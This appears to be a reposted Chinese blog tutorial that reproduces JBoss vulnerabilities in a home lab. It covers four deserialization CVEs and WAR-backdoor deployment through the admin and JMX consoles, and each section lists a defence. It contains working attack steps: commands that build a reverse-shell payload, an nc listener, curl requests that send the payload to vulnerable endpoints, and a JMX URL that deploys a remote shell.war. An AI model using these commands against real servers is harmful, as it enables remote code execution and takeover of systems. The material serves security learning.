IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> JBoss中间件漏洞汇总 -> 正文阅读

[Java知识库]JBoss中间件漏洞汇总

目录

一、JBoss是什么?

二、安装环境

1. Jdk

2. 下载JBoos4、6,并进行配置

三、 反序列漏洞

1. HttpInvoker 组件(CVE-2017-12149)

2. JMXInvokerServlet组件(CVE-2015-7501)

3. JBossMQ(CVE-2017-7504)

4.?EJBInvokerServlet组件(CVE-2013-4810)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

2. JMX-console

jBoss4

JBoos6

防御

3.?JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)






一、JBoss是什么?

JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。


二、安装环境

JBoss下载地址:https://jbossas.jboss.org/downloads/

jdk下载地址:https://www.oracle.com/java/technologies/downloads/


1. Jdk

由于漏洞不是JBoss4就是6的环境,没办法得整两套,如果硬件支持的话,建议开两个虚拟机,就非常方便哈。环境是重点,就吃了没仔细看说明的亏,用了jdk1.8,导致后面访问JMX-console报错,放开那个雷,让我来踩

jdk1.6支持JBoos4

jdk1.7支持JBoos6

2. 下载JBoos4、6,并进行配置

我用了JBoss AS 6.1.0.Final、4.2.3,你也可以用其他,可能复现和我点出入,建议第一次可以可以按照我的走,后面可以尝试下其他版本(如果是大佬那就当我没说)

JBoss AS 6.1.0.Final直接下载zip,4.2.3还得在选择一次,我选的jboss-4.2.3.GA-jdk6

?

都下载后配置环境变量,添加一个JBOSS_HOME属性,都为bin目录的上一级目录,并在path中添加%JBOSS_HOME%/bin

如果要外网访问的话要修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,把下图红框位置的address属性值改成0.0.0.0即可(4.2.3文件路径为jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer下)

最后,打开双击bin目录下的run.bat,等一小会,你就可以看到此页面

6和4这个主页有点不一样,我这个是6

三、 反序列漏洞

exp:https://github.com/joaomatosf/JavaDeserH2HC

kali :192.168.50.72

靶机 :192.168.50.169

宿主机:192.168.50.59

下载完成后到JavaDeserH2HC下,执行

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.50.72:12345

生成反序列化payload

?

?.:不能省略,至于为什么不清楚,只能借助java大佬的帖子,强行解释了,

这些准备工作完了,就可以开始复现了

1. HttpInvoker 组件(CVE-2017-12149)

漏洞原理

存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本

Jboss AS 5.x

Jboss AS 6.x

漏洞验证

访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞

? ?

开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload

curl http://192.168.50.169:8080/invoker/readonly?--data-binary @ReverseShellCommonsCollectionsHashMap.ser

@不能省略

?

最后,成功反弹shell

防御

  1. 升级最新版本
  2. 删除http-invoker.sar?组件(jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
  3. jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xmlsecurity-constraint 标签下添加<url-pattern>/*</url-pattern>

2. JMXInvokerServlet组件(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss?Enterprise?Application?Platform?6.4.4,5.2.0,4.3.0_CP10
JBoss?AS?(Wildly)?6?and?earlier
JBoss?A-MQ?6.2.0
JBoss?Fuse?6.2.0
JBoss?SOA?Platform?(SOA-P)?5.3.1
JBoss?Data?Grid?(JDG)?6.5.0
JBoss?BRMS?(BRMS)?6.1.0
JBoss?BPMS?(BPMS)?6.1.0
JBoss?Data?Virtualization?(JDV)?6.1.0
JBoss?Fuse?Service?Works?(FSW)?6.0.0
JBoss?Enterprise?Web?Server?(EWS)?2.1,3.0

漏洞验证

访问/invoker/JMXInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

?

和上面利用方式一样,只是链接不一样

curl http://192.168.50.169:8080/invoker/JMXInvokerServlet?--data-binary @ReverseShellCommonsCollectionsHashMap.ser

?

防御

? ? ? ? 和上面一样

3. JBossMQ(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本

Jboss?AS?4.x及之前版本

漏洞验证

访问/jbossmq-httpil/HTTPServerILServlet,出现此页面,说明存在该漏洞

?

curl http://192.168.50.169:8080/jbossmq-httpil/HTTPServerILServlet?--data-binary @ReverseShellCommonsCollectionsHashMap.ser

?

防御

  1. ?升级最新版本

4.?EJBInvokerServlet组件(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本

jboss?6.x?版本

漏洞验证

访问/invoker/EJBInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

??

curl http://192.168.50.169:8080/invoker/EJBInvokerServlet?--data-binary @ReverseShellCommonsCollectionsHashMap.ser

?

防御

? ? ? ? 同(CVE-2017-12149)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

复现

admin/admin弱口令登录后台,点击add a new resource上传war包

?

上传后报红了,以为不能部署,把我折磨了很久还以为我下的环境有问题,总而言之,警告归警告,该传还得传,最后发现包已经war已经部署到上面去了,发两次,第二次警告会说已经部署

??

? ?

?

接下来就连你的马子

防御

? ? ? ? 1. 改强密码(jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

? ? ? ? 2. 删除admin-console页面

2. JMX-console

jBoss4

?复现

点击jboss.deployer下面的链接

进去后寻找addURL(),修改ParamValue值为你远程war链接,点击Invoke,最后回到这个页面寻找Apply changes点击

?

这些都干了,来页面joss.web.deployment

?

于是乎访问你的马子,他就成了

?

这套操作适用于JBoos6,只是有点小出入,不用点击Apply changes

?

JBoos6

复现

寻找jboss.system,点击service=MainDeployer

??

找到该函数deploy,并在输入框里面写入远程war包链接最后点击Invoke

?

或者访问或者访问/jmx-console/HtmlAdaptor?

action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.50.59/shell.war进行部署

?

最后,访问你的马子

?

防御

? ? ? ? 关闭JMX-console和web-console页面

3.?JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

复现

访问

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位store函数

?

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的后缀,p4传入的是上传文件的内容

注:冰蝎马上传后页面异常,无法连接

?防御

????????官方发布修复补丁

????????http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036








?

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2021-11-19 17:30:07  更:2021-11-19 17:31:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:12:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码